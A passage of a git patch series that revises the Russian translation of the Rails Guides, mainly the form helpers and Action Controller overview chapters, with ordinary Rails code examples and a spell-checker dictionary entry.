+NOTE: Пары, переданные в `options_for_select` должны сперва иметь имя, затем id, однако для `options_from_collection_for_select` первый аргумент - это метод value, а второй аргумент - метод text. ### Выбор часового пояса и страны @@ -517,10 +517,10 @@ NOTE: Пары, переданные в `options_for_select` должны спе Можно выбрать не использовать хелперы форм, создающие поля ввода даты и времени HTML5, а использовать альтернативные хелперы даты и времени. Эти хелперы даты и времени отличаются от остальных хелперов форм в двух важных аспектах: -* Дата и время не представлены отдельным элементом ввода. Вместо них есть несколько, один на каждый компонент (год, месяц, день и т.д.), и, таким образом, нет одного значения в хэше `params` с вашими датой и временем. +* Дата и время не представлены отдельным элементом ввода. Вместо них есть несколько, один на каждый компонент (год, месяц, день и т.д.), и поэтому нет одного значения в хэше `params` с вашими датой и временем. * Другие хелперы используют суффикс `_tag` для обозначения, является ли хелпер скелетным, либо работает на основе объектов модели. Что касается дат и времени, `select_date`, `select_time` и `select_datetime` - это скелетные хелперы, а `date_select`, `time_select` и `datetime_select` - это эквивалентные хелперы объекта модели. -Оба эти семейства хелперов создадут ряд списков выбора для различных компонент (год, месяц, день и т.д.). +Оба эти семейства хелперов создадут ряд списков выбора для различных компонентов (год, месяц, день и т.д.). ### Скелетные хелперы @@ -538,7 +538,7 @@ NOTE: Пары, переданные в `options_for_select` должны спе ``` -Эти элементы ввода выдадут результат в `params[:start_date]`, являющийся хэшем с ключами `:year`, `:month`, `:day`. Чтобы получить фактический объект `Date`, `Time` или `DateTime`, необходимо извлечь эти значения и передать их в подходящий конструктор, например: +Эти элементы ввода приведут к тому, что `params[:start_date]` будет хэшем с ключами `:year`, `:month`, `:day`. Чтобы получить фактический объект `Date`, `Time` или `DateTime`, необходимо извлечь эти значения и передать их в подходящий конструктор, например: ```ruby Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) @@ -548,9 +548,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa ### Хелперы объекта модели -`select_date` не очень хорошо работает с формами, обновляющими или создающими объекты Active Record, так как Active Record ожидает, что каждый элемент хэша `params` соответствует одному атрибуту. - -Хелперы объекта модели для даты и времени возвращает параметры со специальными именами, и когда Active Record видит параметры с такими именами, он знает, что они должны быть скомбинированы с другими параметрами, и передает конструктору подходящее значения для типа столбца. Например: +`select_date` не очень хорошо работает с формами, обновляющими или создающими объекты Active Record, так как Active Record ожидает, что каждый элемент хэша `params` соответствует одному атрибуту. Хелперы объекта модели для даты и времени возвращает параметры со специальными именами, и когда Active Record видит параметры с такими именами, он знает, что они должны быть скомбинированы с другими параметрами, и передает конструктору значения, соответствующему типу столбца. Например: ```erb <%= date_select :person, :birth_date %> @@ -570,13 +568,13 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa {'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} ``` -Когда это передастся в `Person.new` (или `update`), Active Record отметит, что эти параметры должны быть использованы, для конструирования атрибута `birth_date` и использует суффиксную информацию для определения, в каком порядке должен передать эти параметры в функции, такие как `Date.civil`. +Когда это передано в `Person.new` (или `update`), Active Record отмечает, что все эти параметры должны быть использованы для конструирования атрибута `birth_date` и использует суффиксную информацию для определения, в каком порядке должен передать эти параметры в такие функции, как `Date.civil`. ### Общие опции -Оба семейства хелперов используют одинаковый базовый набор функций для создания индивидуальных тегов select, таким образом, они оба принимают множество одинаковых опций. В частности, по умолчанию Rails создаст варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий вариант, опции `:start_year` и `:end_year` переопределяют это. Для получения исчерпывающего перечня доступных опций обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). +Оба семейства хелперов используют одинаковый базовый набор функций для создания индивидуальных тегов select, таким образом, они оба принимают в основном одинаковые опции. В частности, по умолчанию Rails создаст варианты выбора года как текущий год плюс/минус пять лет. Если это неподходящий диапазон, опции `:start_year` и `:end_year` переопределяют это. Для полного списока доступных опции обратитесь к [документации по API](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html). -Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, таких как формы поиска, в которых результаты фильтруются по дате. +Как правило, следует использовать `date_select` при работе с объектами модели и `select_date` в иных случаях, например, таких как форма поиска, которая фильтрует результаты по дате. NOTE: В большинстве случаев встроенные элементы подбора дат неуклюжи в использовании, так как не позволяют пользователю видеть отношения между датой и днями недели. @@ -596,7 +594,7 @@ NOTE: В большинстве случаев встроенные элемен Загрузка файлов --------------- -Частой задачей является загрузка некоторого файла, или аватарки, или файла CSV, содержащего информацию для обработки. Самая важная вещь, это помнить при загрузке файла, что кодирование формы *ДОЛЖНО* быть установлено как "multipart/form-data". Если используете `form_for`, это будет выполнено автоматически. Если используете `form_tag`, нужно установить это самому, как в следующем примере. +Частой задачей является загрузка некоторого файла, аватарки или файла CSV, содержащего информацию для обработки. Самое важное, это помнить при загрузке файла, что кодирование формы *ДОЛЖНО* быть установлено как "multipart/form-data". Если используете `form_for`, это будет выполнено автоматически. Если используете `form_tag`, нужно установить это самому, как в следующем примере. Следующие две формы обе загружают файл. @@ -610,11 +608,11 @@ NOTE: В большинстве случаев встроенные элемен <% end %> ``` -Rails предоставляет обычную пару хелперов: скелетный `file_field_tag` и модельно-ориентированный `file_field`. Единственное отличие от других хелперов в том, что нельзя установить значение по умолчанию для поля ввода файла, так как в этом нет смысла. Как и следует ожидать, в первом случае загруженный файл находится в `params[:picture]`, а во втором случае в `params[:person][:picture]`. +Rails предоставляет обычную пару хелперов: скелетный `file_field_tag` и модельно-ориентированный `file_field`. Единственное отличие от других хелперов в том, что нельзя установить значение по умолчанию для поля загрузки файла, так как в этом нет смысла. Как и следует ожидать, в первом случае загруженный файл находится в `params[:picture]`, а во втором случае - в `params[:person][:picture]`. ### Что имеем загруженным -Объект в хэше `params` - это экземпляр одного из подклассов класса IO. В зависимости от размера загруженного файла, это может оказаться либо экземпляр класса `StringIO`, либо экземпляр класса `File`, отраженный на временный файл в папке временных файлов. В обоих случаях объект будет иметь атрибут `original_filename`, содержащий имя файла на компьютере пользователя, и атрибут `content_type`, содержащий тип MIME загруженного файла. Следующий отрывок сохраняет загруженное содержимое в `#{Rails.root}/public/uploads` под тем же именем, что и оригинальный файл (предположив, что форма была одна из предыдущего примера). +Объект в хэше `params` - это экземпляр подкласса IO. В зависимости от размера загруженного файла, это может оказаться либо `StringIO`, либо `File`, отраженный на временный файл. В обоих случаях объект будет иметь атрибут `original_filename`, содержащий имя файла на компьютере пользователя, и атрибут `content_type`, содержащий тип MIME загруженного файла. Следующий отрывок сохраняет загруженное содержимое в `#{Rails.root}/public/uploads` под тем же именем, что и исходный файл (при условии, что эта была одна из форм предыдущего примера). ```ruby def upload @@ -631,12 +629,12 @@ NOTE: Если пользователь не выбрал файл, соотве ### Работа с Ajax -В отличие от других форм, форма асинхронной загрузки файла - это не просто передача параметра `remote: true` в `form_for`. В Ajax-форме сериализация происходит посредством JavaScript, исполняющимся внутри браузера, и, поскольку JavaScript не может прочесть файлы с жесткого диска, файл не может быть загружен. Наиболее частым решением является использование невидимого iframe, который служит целью для отправки формы. +В отличие от других форм, создание формы асинхронной загрузки файла - это не просто передача параметра `remote: true` в `form_for`. В Ajax-форме сериализация происходит посредством JavaScript, исполняющимся внутри браузера, и, поскольку JavaScript не может читать файлы с жесткого диска, файл не может быть загружен. Наиболее частым решением является использование невидимого iframe, который служит целью для отправки формы. Настройка Form Builder ---------------------- -Как ранее упоминалось, объект, который передается от `form_for` и `fields_for`, - это экземпляр `FormBuilder` (или его подкласса). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, вы также можете объявить подкласс `FormBuilder` и добавить хелперы туда. Например: +Как ранее упоминалось, объект, который передается от `form_for` и `fields_for`, - это экземпляр `FormBuilder` (или его подкласса). Form builder инкапсулирует представление элементов формы для отдельного объекта. Хотя, конечно, можно писать хелперы для своих форм обычным способом, также как можно объявить подкласс `FormBuilder` и добавить хелперы туда. Например: ```erb <%= form_for @person do |f| %> @@ -677,14 +675,14 @@ Form builder также определяет, что произойдет, ес <%= render partial: f %> ``` -Если `f` - это экземпляр `FormBuilder`, тогда это отрендерит партиал `form`, установив объект партиала как form builder. Если form builder класса `LabellingFormBuilder`, тогда вместо этого будет отрендерен партиал `labelling_form`. +Если `f` - это экземпляр `FormBuilder`, тогда это отрендерит партиал `form`, установив объект партиала как form builder. Если у form builder есть класс `LabellingFormBuilder`, тогда вместо него будет отрендерен партиал `labelling_form`. (understanding-parameter-naming-conventions) Понимание соглашений по именованию параметров ------------------------------------------------------------------------------------------ Как вы видели в предыдущих разделах, значения из форм могут быть на верхнем уровне хэша `params` или вложены в другой хэш. Например, в стандартном экшне `create` для модели Person, `params[:person]` будет обычно хэшем всех атрибутов для создания персоны. Хэш `params` может также содержать массивы, массивы хэшей и тому подобное. -Фундаментально формы HTML не знают о структурировании данных, все, что они создают - это пары имя-значение, где пары являются обычными строками. Массивы и хэши, которые вы видите в своем приложении, - это результат некоторых соглашений по именованию параметров, которые использует Rails. +В основном формы HTML не знают о каких-либо структурировании данных, все, что они создают - это пары имя-значение, где пары являются обычными строками. Массивы и хэши, которые можно увидеть в своем приложении, - это результат некоторых соглашений по именованию параметров, которые использует Rails. ### Базовые структуры @@ -714,7 +712,7 @@ Form builder также определяет, что произойдет, ес {'person' => {'address' => {'city' => 'New York'}}} ``` -Обычно Rails игнорирует дублирующиеся имена параметра. Если имя параметра содержит пустой набор квадратных скобок `[]`, то они будут накоплены в массиве. Если хотите, чтобы люди могли оставлять несколько телефонных номеров, можете поместить это в форму: +Обычно Rails игнорирует дублирующиеся имена параметра. Если имя параметра содержит пустой набор квадратных скобок `[]`, то они будут накоплены в массиве. Если нужно, чтобы пользователи могли оставить несколько телефонных номеров, можно поместить это в форму: ```html @@ -734,15 +732,15 @@ Form builder также определяет, что произойдет, ес ``` -Что приведет к тому, что `params[:addresses]` будет массивом хэшей с ключами `line1`, `line2` и `city`. Rails начинает собирать значения в новый хэш, когда он встречает имя элемента, уже существующее в текущем хэше. +Это приведет к тому, что `params[:addresses]` будет массивом хэшей с ключами `line1`, `line2` и `city`. Rails начинает накапливать значения в новый хэш, всякий раз, когда он встречает имя поля ввода, уже существующее в текущем хэше. -Однако, имеется ограничение, по которому хэши не могут быть вложены произвольно, является допустимым только один уровень "массивности". Массивы обычно могут быть заменены хэшами, например, вместо массива объектов моделей можно иметь хэш объектов модели с ключами, равными их id, индексу массива или любому другому параметру. +Однако, имеется ограничение, в то время как хеши могут быть вложены произвольно, является допустимым только один уровень "массивности". Массивы обычно могут быть заменены хэшами; например, вместо массива объектов модели можно иметь хэш объектов модели с ключами, равными их id, индексу массива или любому другому параметру. -WARNING: Параметры в массиве не очень хорошо работают с хелпером `check_box`. В соответствии со спецификацией HTML, невыбранные чекбоксы не возвращают значения. Хелпер `check_box` обходит это, создавая второе скрытое поле с тем же именем. Если чекбокс не нажат, подтверждается только скрытое поле, а если он нажат, то они оба подтверждаются, но значение от чекбокса получает приоритет. При работе с параметрами массива эти дублирующиеся подтверждения запутают Rails дублирующимися именами полей, и непонятно, как он решит, где начать новый элемент массива. Предпочтительнее использовать или `check_box_tag`, или хэши вместо массивов. +WARNING: Параметры массива не очень хорошо работают с хелпером `check_box`. В соответствии со спецификацией HTML, невыбранные чекбоксы не возвращают значения. Хелпер `check_box` обходит это, создавая вспомогательное скрытое поле с тем же именем. Если чекбокс не нажат, подтверждается только скрытое поле, а если он нажат, то они оба подтверждаются, но значение от чекбокса получает приоритет. При работе с параметрами массива эти дублирующиеся подтверждения будет путать Rails дублирующимися именами полей ввода, и непонятно, как он решит, где начать новый элемент массива. Предпочтительнее использовать или `check_box_tag`, или хэши вместо массивов. ### Использование хелперов форм -Предыдущие разделы совсем не использовали хелперы Rails. Хотя можно создавать имена полей самому и передавать их напрямую хелперам, таким как `text_field_tag`, Rails также предоставляет поддержку на более высоком уровне. В вашем распоряжении имеется два инструмента: параметр имени для `form_for` и `fields_for`, и опция `:index`, принимаемая этими хелперами. +Предыдущие разделы совсем не использовали хелперы Rails. Хотя можно создавать имена полей ввода самому и передавать их напрямую хелперам, таким как `text_field_tag`, Rails также предоставляет поддержку на более высоком уровне. В вашем распоряжении имеется два инструмента: параметр имени для `form_for` и `fields_for`, и опция `:index`, принимаемая этими хелперами. Вы возможно захотите рендерить форму с набором полей ввода для каждого адреса человека. Например: @@ -773,9 +771,9 @@ WARNING: Параметры в массиве не очень хорошо ра {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} ``` -Rails знает, что все эти поля должны быть частью хэша person, так как вы вызвали `fields_for` для первого form builder. Определяя опцию `:index`, Вы сообщаете Rails, что вместо именования полей `person[address][city]`, он должен вставить индекс, заключенный в [], между address и city. Это часто полезно, так как просто обнаружить, какая запись Address должна быть изменена. Можете передать числа с некоторыми другими значениями, строки или даже `nil` (который приведет к созданию параметра в массиве). +Rails знает, что все эти поля ввода должны быть частью хэша person, так как `fields_for` вызвается для первого form builder. Определив опцию `:index`, сообщается Rails, что вместо именования полей ввода `person[address][city]`, он должен вставить индекс, заключенный в [], между address и city. Это часто бывает полезно, так как тогда просто обнаружить, какая запись Address должна быть изменена. Также можно передавать числа с некоторым другим значением, строками или даже `nil` (который приведет к созданию параметра в массиве). -Чтобы создать более замысловатые вложения, можете определить первую часть имени поля (`person[address]` в предыдущем примере) явно: +Чтобы создать более замысловатые вложения, можно явно указать первую часть имени поля ввода (`person[address]` в предыдущем примере): ```erb <%= fields_for 'person[address][primary]', address, index: address do |address_form| %> @@ -783,13 +781,13 @@ Rails знает, что все эти поля должны быть часть <% end %> ``` -создаст такие поля +создаст такие поля ввода ```html ``` -По общему правилу конечное имя поля - это сцепление имени, переданного в `fields_for`/`form_for`, значение индекса и имени атрибута. Можете также передать опцию `:index` прямо в хелперы, такие как `text_field`, но, как правило, будет меньше повторов, если определить это на уровне form builder, чем для отдельного элемента ввода. +Как правило, конечное имя поля ввода - это сцепление имени, переданного в `fields_for`/`form_for`, значения индекса и имени атрибута. Можно также передать опцию `:index` прямо в хелперы, такие как `text_field`, но обычно будет меньше повторов, если определить это на уровне form builder, а не для отдельных элементах управления input. Как ярлык вы можете добавить [] к имени и опустить опцию `:index`. Это то же самое, что определение `index: address`, таким образом @@ -839,11 +837,11 @@ Rails знает, что все эти поля должны быть часть Создание сложных форм --------------------- -Многие приложения вырастают из пределов простых форм, редактирующих одиночные объекты. Например, при создании `Person` вы, возможно, захотите позволить пользователю (в той же самой форме) создать несколько записей адресов (домашний, рабочий и т.д.). Позже, редактируя этого человека, пользователю должно быть доступно добавление, удаление или правка адреса, если необходимо. +Многие приложения выходят за рамки простых форм, редактирующих одиночные объекты. Например, при создании `Person` можно позволить пользователю (в той же самой форме) создать несколько записей адресов (домашний, рабочий и т.д.). При последующем редактировании этого person, пользователю должно быть доступно добавление, удаление или правка адреса, если это необходимо. ### Настройка модели -Active Record представляет поддержку на уровне модели с помощью метода `accepts_nested_attributes_for`: +Active Record предоставляет поддержку на уровне модели с помощью метода `accepts_nested_attributes_for`: ```ruby class Person < ApplicationRecord @@ -912,7 +910,7 @@ end Ключи хэша `:addresses_attributes` не важны, они всего лишь должны быть различными для каждого адреса. -Если связанный объект уже сохранен, `fields_for` автоматически создает скрытое поле с `id` сохраненной записи. Это можно отключить, передав `include_id: false` в `fields_for`. Это может быть желаемым, если автоматически созданное поле размещается туда, где тег input не имеет валидного HTML, или при использовании ORM, когда дочерние элементы не имеют `id`. +Если связанный объект уже сохранен, `fields_for` автоматически создает скрытое поле с `id` сохраненной записи. Это можно отключить, передав `include_id: false` в `fields_for`. Возможно, потребуется сделать это, если автоматически созданное поле будет размещено там, где тег input не имеет валидного HTML, или при использовании ORM, когда дочерние элементы не имеют `id`. ### Контроллер @@ -984,4 +982,4 @@ end ### Добавление полей на лету -Вместо рендеринга нескольких наборов полей, можно сделать их добавление только когда пользователь нажимает на кнопку 'Добавить новый адрес'. Rails не предоставляет какой-либо встроенной поддержки для этого. При создании новых наборов полей, следует убедиться, что ключ связанного массива уникальный - наиболее распространенным выбором является текущий javascript date (миллисекунды после epoch). +Вместо того, чтобы рендерить несколько наборов полей раньше времени, можно добавить их только тогда, когда пользователь нажимает на кнопку 'Добавить новый адрес'. Rails не предоставляет какой-либо встроенной поддержки для этого. При создании новых наборов полей следует убедиться, что ключ связанного массива уникальный - наиболее распространенным выбором является текущий JavaScript date (миллисекунды после epoch). diff --git a/source/getting_started.md b/source/getting_started.md index da053a81..5b1406ef 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -436,7 +436,7 @@ TIP: Убедитесь, что у вас есть твердое пониман $ bin/rails generate model Article title:string text:text ``` -С помощью этой команды мы сообщаем Rails что хотим модель `Article` с атрибутом _title_ строкового типа и атрибутом _text_ текстового типа. Эти атрибуты автоматически добавятся в таблицу `articles` и привяжутся к модели `Article`. +С помощью этой команды мы сообщаем Rails, что хотим модель `Article` с атрибутом _title_ строкового типа и атрибутом _text_ текстового типа. Эти атрибуты автоматически добавятся в таблицу `articles` и привяжутся к модели `Article`. Rails в ответ создаст ряд файлов. Сейчас нам интересны только `app/models/article.rb` и `db/migrate/20140120191729_create_articles.rb` (у вас имя может немного отличаться). Последний ответственен за создание структуры базы данных, поэтому мы и рассмотрим его далее. @@ -1108,7 +1108,7 @@ TIP: В основном, Rails рекомендует использовать Добавляем вторую модель ----------------------- -Настало время добавить вторую модель в приложение. Вторая модель будет управлять комментариями на статьи. +Настало время добавить вторую модель в приложение. Вторая модель будет обрабатывать комментарии к статьям. ### Генерируем модель From b1e69c35093bc080a98d7575b4c6cd873f95be1c Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 17 Jul 2017 13:53:39 +0300 Subject: [PATCH 323/932] rewrite action controller ov --- .yaspellerrc | 1 + source/action_controller_overview.md | 158 ++++++++++++--------------- source/form_helpers.md | 6 +- source/security.md | 2 +- 4 files changed, 75 insertions(+), 92 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 27255784..fbb16e2e 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -169,6 +169,7 @@ "распарс(и|я)т(ь|ся|ься|)", "рассыльщик(а|е|и|ах|ов|ом|ами|)", "раскомментируй(те|)", + "радиокноп(ка|ке|ки|ку|ок|кам|ках|кой|ками|)", "ревьювер(а|е|у|ы|ах|ов|ом|ами|)", "рейк", "реквест(а|е|у|ы|ах|ов|ом|ами|)", diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 813fb8b4..f8637428 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -196,7 +196,7 @@ class PeopleController < ActionController::Base Person.create(params[:person]) end - # Это будет передано должным образом, пока в параметрах есть ключ person, иначе будет + # Это будет выполняться должным образом, пока в параметрах есть ключ person, иначе будет # вызвано исключение ActionController::ParameterMissing, которое будет # поймано в ActionController::Base и превращено в ошибку 400 Bad Request. def update @@ -280,7 +280,7 @@ params.fetch(:blog, {}).permit(:title, :author) params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy]) ``` -Хэши с числовыми ключами трактуются по-другому, и можно объявить атрибуты так, как будто они являются прямыми детьми. Вы получаете такой тип параметров при использовании `accepts_nested_attributes_for` в сочетании со связью `has_many`: +Хэши с числовыми ключами трактуются по-другому, и можно объявить атрибуты так, как будто они являются прямыми детьми. Такой тип параметров можно получить при использовании `accepts_nested_attributes_for` в сочетании со связью `has_many`: ```ruby # Чтобы добавить в белый список следующие данные: @@ -325,25 +325,6 @@ CookieStore могут хранить около 4kB данных - намног Если вы нуждаетесь в другом механизме хранения сессий, измените его в инициализаторе: - - - - - - - - - - - - - - - - - - - ```ruby # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information @@ -351,7 +332,7 @@ CookieStore могут хранить около 4kB данных - намног # Rails.application.config.session_store :active_record_store ``` -Rails настраивает ключ сессии (имя куки) при подписании данных сессии. Он также может быть изменен в инициализаторе: +Rails устанавливает ключ сессии (имя куки) при подписании данных сессии. Он также может быть изменен в инициализаторе: ```ruby # Be sure to restart your server when you modify this file. @@ -365,7 +346,7 @@ Rails.application.config.session_store :cookie_store, key: '_your_app_session' Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" ``` -Rails настраивает (для CookieStore) секретный ключ для подписания данных сессии. Он может быть изменен в `config/secrets.yml` +Rails устанавливает (для CookieStore) секретный ключ, используемый для подписания данных сессии. Он может быть изменен в `config/secrets.yml` ```ruby # Be sure to restart your server when you modify this file. @@ -398,9 +379,9 @@ NOTE: Изменение секретного ключа при использо В контроллере можно получить доступ к сессии с помощью метода экземпляра `session`. -NOTE: Сессии лениво загружаются. Если вы не получаете доступ к сессиям в коде экшна, они не будут загружаться. Следовательно, никогда не нужно отключать сессии, просто не обращайтесь к ним, чтобы они не работали. +NOTE: Сессии лениво загружаются. Если не получать доступ к сессиям в коде экшна, они не будут загружаться. Следовательно, никогда не придется отключать сессии, просто не обращайтесь к ним, и они будут выполнять свою работу. -Значение сессии хранится, используя пары ключ/значение, подобно хэшу: +Значения сессии хранятся, используя пары ключ/значение, подобно хэшу: ```ruby class ApplicationController < ActionController::Base @@ -447,15 +428,15 @@ class LoginsController < ApplicationController end ``` -Для сброса существующей сессии, используйте `reset_session`. +Для сброса текущей сессии, используйте `reset_session`. ### Flash -Flash - это специальная часть сессии, которая очищается с каждым запросом. Это означает, что значения хранятся там доступными только до следующего запроса, что полезно для хранения сообщений об ошибке и т.п. +Flash - это специальная часть сессии, которая очищается с каждым запросом. Это означает, что сохраненные там значения будут доступны только в следующем запросе, что полезно для передачи сообщений об ошибках и т.п. Доступ к нему можно получить так же, как к сессии, подобно хэшу (это экземпляр [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html)). -Давайте посмотрим действие логаута как пример. Контроллер может послать сообщение, которое будет отображено пользователю при следующем запросе: +Давайте рассмотрим случай логаута в качестве примера. Контроллер может послать сообщение, которое будет отображено пользователю при следующем запросе: ```ruby class LoginsController < ApplicationController @@ -500,7 +481,7 @@ redirect_to root_url, flash: { referral_code: 1234 } <% end %> ``` -Если хотите, чтобы значение flash было перенесено для другого запроса, используйте метод `keep`: +Если хотите, чтобы значение flash было перенесено в другой запрос, используйте метод `keep`: ```ruby class MainController < ApplicationController @@ -522,7 +503,7 @@ end #### `flash.now` -По умолчанию, добавление значений во flash делает их доступными для следующего запроса, но иногда хочется иметь доступ к этим значениям в том же запросе. Например, если экшн `create` проваливается в сохранении ресурса, и вы рендерите макет `new` непосредственно тут, то не собираетесь передавать результат в новый запрос, но хотите отобразить сообщение, используя flash. Чтобы это сделать, используйте `flash.now` так же, как использовали нормальный `flash`: +По умолчанию, добавление значений во flash делает их доступными для следующего запроса, но иногда хочется иметь доступ к этим значениям в том же запросе. Например, если экшн `create` проваливается при сохранении ресурса, и будет отрендерен непосредственно макет `new`, что не приведет к новому запросу, но все равно можно отобразить сообщение, используя flash. Чтобы это сделать, используйте `flash.now` так же, как используете обычный `flash`: ```ruby class ClientsController < ApplicationController @@ -569,11 +550,11 @@ class CommentsController < ApplicationController end ``` -Отметьте, что если для удаления сессии устанавливался ключ в `nil`, то для удаления значения куки следует использовать `cookies.delete(:key)`. +Отметьте, что если для удаления значений сессии ключ устанавливается в `nil`, то для удаления значений куки следует использовать `cookies.delete(:key)`. -Rails также представляет подписанные куки и зашифрованные куки для хранения конфиденциальных данных. В подписанные куки добавляется криптографическая подпись значений куки для защиты их целостности. Зашифрованные куки шифруют значения в дополнение к их подписи, поэтому они не могут быть прочитаны пользователем. За подробностями обратитесь к [документации API](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html). +Rails также предоставляет подписанные куки и зашифрованные куки для хранения конфиденциальных данных. В подписанные куки добавляется криптографическая подпись значений куки для защиты их целостности. Зашифрованные куки шифруют значения в дополнение к их подписи, поэтому они не могут быть прочитаны пользователем. За подробностями обратитесь к [документации API](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html). -Эти специальные куки используют сериализатор для сериализации назначенных значений в строку и десериализации их в объекты Ruby при чтении. +Эти специальные куки используют сериализатор для сериализации назначенных значений в строки и десериализации их в объекты Ruby при чтении. Можно определить, какой сериализатор использовать: @@ -581,7 +562,7 @@ Rails также представляет подписанные куки и з Rails.application.config.action_dispatch.cookies_serializer = :json ``` -Для новых приложений сериализатором по умолчанию является `:json`. Для совместимости со старыми приложениями со существующими куки, используется `:marshal`, когда не определена опция `serializer`. +Для новых приложений сериализатором по умолчанию является `:json`. Для совместимости со старыми приложениями с существующими куки, используется `:marshal`, когда не определена опция `serializer`. Также можно установить этой опции `:hybrid`, в этом случае Rails десериализует существующие (сериализованные `Marshal`) куки при чтении и перезапишет их в формате `JSON`. Это полезно при миграции существующих приложений на сериализатор `:json`. @@ -606,7 +587,7 @@ class CookiesController < ApplicationController end ``` -Желательно, чтобы в куки хранились только простые данные (строки и числа). Если храните сложные объекты, вам необходимо преобразовывать вручную при чтении значений в соответствующих запросах. +Желательно, чтобы в куки хранились только простые данные (строки и числа). Если храните сложные объекты, вам необходимо преобразовывать вручную при чтении значений в последующих запросах. Если вы храните сессию в куки, все перечисленное также применяется к хэшам `session` и `flash`. @@ -633,11 +614,11 @@ end Фильтры ------- -Фильтры - это методы, которые запускаются "до", "после" или "вокруг" экшна контроллера. +Фильтры - это методы, которые запускаются "до", "после" или "до и после" экшна контроллера. Фильтры наследуются, поэтому, если вы установите фильтр в `ApplicationController`, он будет запущен в каждом контроллере вашего приложения. -Фильтры "before" могут прерывать цикл запроса. Обычный фильтр "before" это, например, тот, который требует, чтобы пользователь был авторизован для запуска экшна. Метод фильтра можно определить следующим образом: +Фильтры "before" могут прерывать цикл запроса. Обычный фильтр "before" - это, например, тот, который требует, чтобы пользователь был авторизован для запуска экшна. Метод фильтра можно определить следующим образом: ```ruby class ApplicationController < ActionController::Base @@ -654,7 +635,7 @@ class ApplicationController < ActionController::Base end ``` -Метод просто записывает сообщение об ошибке во flash и перенаправляет на форму авторизации, если пользователь не авторизовался. Если фильтр "before" рендерит или перенаправляет, экшн не запустится. Если есть дополнительные фильтры в очереди, они также прекращаются. +Метод просто записывает сообщение об ошибке во flash и перенаправляет на форму авторизации, если пользователь не авторизовался. Если фильтр "before" рендерит или перенаправляет, экшн не запустится. Если есть дополнительные фильтры в очереди, они также будут отменены. В этом примере фильтр добавлен в `ApplicationController`, и поэтому все контроллеры в приложении наследуют его. Это приводит к тому, что всё в приложении требует, чтобы пользователь был авторизован, чтобы пользоваться им. По понятным причинам (пользователь не сможет зарегистрироваться в первую очередь!), не все контроллеры или экшны должны требовать его. Вы можете не допустить запуск этого фильтра перед определенными экшнами с помощью `skip_before_action`: @@ -664,18 +645,19 @@ class LoginsController < ApplicationController end ``` -Теперь, экшны `LoginsController` `new` и `create` будут работать как раньше, без требования к пользователю быть зарегистрированным. Опция `:only` используется для пропуска фильтра только для этих экшнов, также есть опция `:except`, которая работает наоборот. Эти опции могут также использоваться при добавлении фильтров, поэтому можете добавить фильтр, который запускается только для выбранных экшнов в первую очередь. +Теперь, экшны `LoginsController` `new` и `create` будут работать как раньше, без требования к пользователю быть зарегистрированным. Опция `:only` используется для пропуска фильтра только для этих экшнов, а также есть опция `:except`, которая работает наоборот. Эти опции можно использовать и при добавлении фильтров, поэтому необходимо добавить фильтр, который запускается только для выбранных экшнов в первую очередь. NOTE: Вызов одного и того же фильтра несколько раз с разными параметрами не будет работать, поскольку последнее определение фильтра перезапишет предыдущие. -### Последующие фильтры и охватывающие фильтры +### After фильтры и around фильтры + +В дополнение к фильтрам "before", можно запустить фильтры после того, как экшн был запущен, или "и до, и после". -В дополнение к фильтрам "before", можете запустить фильтры после того, как экшн был запущен, или и до, и после. +Фильтры "after" похожи на "before", но поскольку экшн уже был запущен, у них есть доступ к данным отклика, которые будут отосланы клиенту. Очевидно, фильтры "after" не могут остановить экшн от запуска. Обратите внимание, что фильтры "after" выполняются только после успешного выполнения экшна, но не при возникновении исключения в цикле запроса. -Фильтр "after" подобен "before", но, поскольку экшн уже был запущен, у него есть доступ к данным отклика, которые будут отосланы клиенту. Очевидно, фильтр "after" не сможет остановить экшн от запуска. -Обратите внимание, что фильтры "after" выполняются только после успешного выполнения, но не при возникновении исключения в цикле запроса. +Фильтры "around" ответственны за запуск связанных с ними экшнов с помощью yield, подобно тому, как работают промежуточные программы Rack. -Фильтры "around" ответственны за запуск экшна с помощью yield, подобно тому, как работают промежуточные программы Rack. +Например, на веб-сайте, где для изменений есть процедура утверждения информации, администратор может легко их просмотреть, просто применив их внутри транзакции: ```ruby class ChangesController < ApplicationController @@ -735,14 +717,14 @@ class LoginFilter end ``` -Опять же, это - не идеальный пример для этого фильтра, поскольку он не запускается в области видимости контроллера, а получает контроллер как аргумент. Класс фильтра имеет метод класса `filter`, который запускается до или после экшна, в зависимости от того, определен ли он предварительным или последующим фильтром. Классы, используемые как охватывающие фильтры, могут также использовать тот же метод `filter`, и они будет запущены тем же образом. Метод должен иметь `yield` для исполнения экшна. Альтернативно, он может иметь методы и `before`, и `after`, которые запускаются до и после экшна. +Опять же, это не идеальный пример для этого фильтра, поскольку он не запускается в области видимости контроллера, а получает контроллер как аргумент. Класс фильтра должен реализовывать метод с тем же именем, что и фильтр, поэтому для фильтра before_action класс должен реализовать метод `before`, и так далее. Метод `round` должен иметь `yield` для исполнения экшна. Защита от подделки запросов --------------------------- -Подделка межсайтовых запросов - это тип атаки, в которой сайт обманом заставляет пользователя сделать запрос на другой сайт, возможно 